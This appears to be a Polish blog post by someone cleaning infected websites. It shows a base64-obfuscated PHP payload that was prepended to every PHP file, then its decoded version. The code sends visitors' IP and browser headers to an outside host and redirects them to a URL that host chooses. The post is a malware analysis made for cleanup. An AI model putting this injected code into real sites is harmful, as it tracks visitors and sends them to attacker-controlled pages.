Dostałem ostatnio sporo różnych stron do „odwirusowania”.
Zamieszczę w kolejnych wpisać kilka kodów wraz z wstępnym odwróceniem niektórych zaciemnień.

Doklejane na początku wszystkich plików PHP:

<?php
eval(base64_decode('Z2xvYmFsICRyZXNwb25zZV9zZXNzaW9uczsNCg0KaWYoISRyZXNwb25zZV9zZXNzaW9ucykgew0KCSRyZXNwb25zZV9zZXNzaW9ucyA9ICJhbGl2ZSI7DQoNCgkkcz1iYXNlNjRfZW5jb2RlKHN0cnJldihiYXNlNjRfZW5jb2RlKHN0cl9yZXBsYWNlKCd8JywnJywkX1NFUlZFUlsnUkVNT1RFX0FERFInXSkuJ3wnLnN0cl9yZXBsYWNlKCd8JywnJywkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkuJ3wnLnN0cl9yZXBsYWNlKCd8JywnJywkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSkpOw0KCSR1PSdodHRwOi8vbWRteXNzZC5jei5jYy94cC9zZXNzaW9uLnBocCc7DQoJJHM9QGZpbGVfZ2V0X2NvbnRlbnRzKCIkdT90PSRzIik7DQoNCglpZihjb3VudCgkaHR0cF9yZXNwb25zZV9oZWFkZXIpKSB7DQoJCSRyZWxvYyA9ICcnOw0KCQlmb3JlYWNoKCRodHRwX3Jlc3BvbnNlX2hlYWRlciBhcyAkdikgew0KCQkJJHQ9ZXhwbG9kZSgiOiAiLCR2KTsNCgkJCWlmKHN0cnRvbG93ZXIodHJpbSgkdFswXSkpPT0ibG9jYXRpb24iKSB7DQoJCQkJJHJlbG9jID0gdHJpbSgkdFsxXSk7DQoJCQl9DQoJCX0NCgkJaWYoJHJlbG9jICYmICFzdHJsZW4oc3RycG9zKCRyZWxvYywnMDAwMDEwMjAnKSkpIHsNCgkJCWlmKCFAaGVhZGVyc19zZW50KCkpIHsNCgkJCQlAaGVhZGVyKCJIVFRQLzEuMSAzMDIgRm91bmQiKTsNCgkJCQlAaGVhZGVyKCJWYXJ5OiBBY2NlcHQtRW5jb2RpbmcsVXNlci1BZ2VudCIpOw0KCQkJCUBoZWFkZXIoIkxvY2F0aW9uOiAkcmVsb2MiKTsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAiPGgzPlBhZ2UgTW92ZWQ8L2gzPlRoZSBwYWdlIHlvdSBhcmUgdHJ5aW5nIHRvIG9wZW4gaGFzIGJlZW4gbW92ZWQuPGJyPjxicj5Vc2UgdGhlIG5hdmlnYXRpb24gbGlua3Mgb24gdGhlIHJpZ2h0IG9mIHRoaXMgcGFnZSwgdGhlIHNlYXJjaCBib3ggYXQgdGhlIHRvcCwgb3IgdGhlIHNpdGUgbWFwIGxpbmsgYmVsb3cgdG8gZmluZCB0aGUgbmV3IGxvY2F0aW9uIG9mIHRoZSBwYWdlIHlvdSdyZSBzZWVraW5nLjxicj48YnI+Q2xpY2sgdGhlIGxpbmsgYmVsb3cgdG8gZm9sbG93IG5ldyB1cmwuPGJyPjxicj48YSBocmVmPVwiIi4kdS4iXCI+Ii4kdS4iPC9hPiI7DQoJCQkJZWNobyAic2NyaXB0IHR5cGU9XCJ0ZXh0L2phdmFzY3JpcHRcIj5kb2N1bWVudC5sb2NhdGlvbiA9IFwiIi4kdS4iXCI7PC9zY3JpcHQ+IjsNCgkJCX0NCgkJCWV4aXQ7DQoJCX0NCgl9DQp9'));
?>


Czyli wykonywanie kodu:

global $response_sessions;

if(!$response_sessions) {
    $response_sessions = "alive";
    $s=base64_encode(strrev(base64_encode(str_replace('|','',$_SERVER['REMOTE_ADDR']).'|'.str_replace('|','',$_SERVER['HTTP_ACCEPT']).'|'.str_replace('|','',$_SERVER['HTTP_USER_AGENT']))));
    $u='http://mdmyssd.cz.cc/xp/session.php';
    $s=@file_get_contents("$u?t=$s");

    if(count($http_response_header)) {
        $reloc = '';
        foreach($http_response_header as $v) {
            $t=explode(": ",$v);
            if(strtolower(trim($t[0]))=="location") {
                    $reloc = trim($t[1]);
            }
        }
        if($reloc && !strlen(strpos($reloc,'00001020'))) {
            if(!@headers_sent()) {
                @header("HTTP/1.1 302 Found");
                @header("Vary: Accept-Encoding,User-Agent");
                @header("Location: $reloc");
            } else {
                echo "<h3>Page Moved</h3>The page you are trying to open has been moved.<br /><br />Use the navigation links on the right of this page, the search box at the top, or the site map link below to find the new location of the page you're seeking.<br /><br />Click the link below to follow new url.<br /><br /><a href=\"".$u."\">".$u."</a>";
                echo "script type=\"text/javascript\">document.location = \"".$u."\";</script>";
            }
            exit;
        }
    }
}

Powyższy kod przesyła dane o odwiedzającym na serwer zewnętrzny po czym sprawdza czy strona na której się nie znajduje nie wysyłała nagłówka „Location”. Jeżeli wysyła i link z „Location” nie zawiera „00001020″, to stara się go wysłać ponownie, a jak nie może to przekierowuje nieudolnie (błąd w html’u) na stronę do której zgłaszał naszego użytkownika.

Sam kod wygląda dziwnie i stawiam że jest niekompletny. Być może jakiś syf rozszedł się po sieci w niepełnej formie. Dodatkowo jakość kodu pozostawia wiele do życzenia.

Komentarze zablokowane.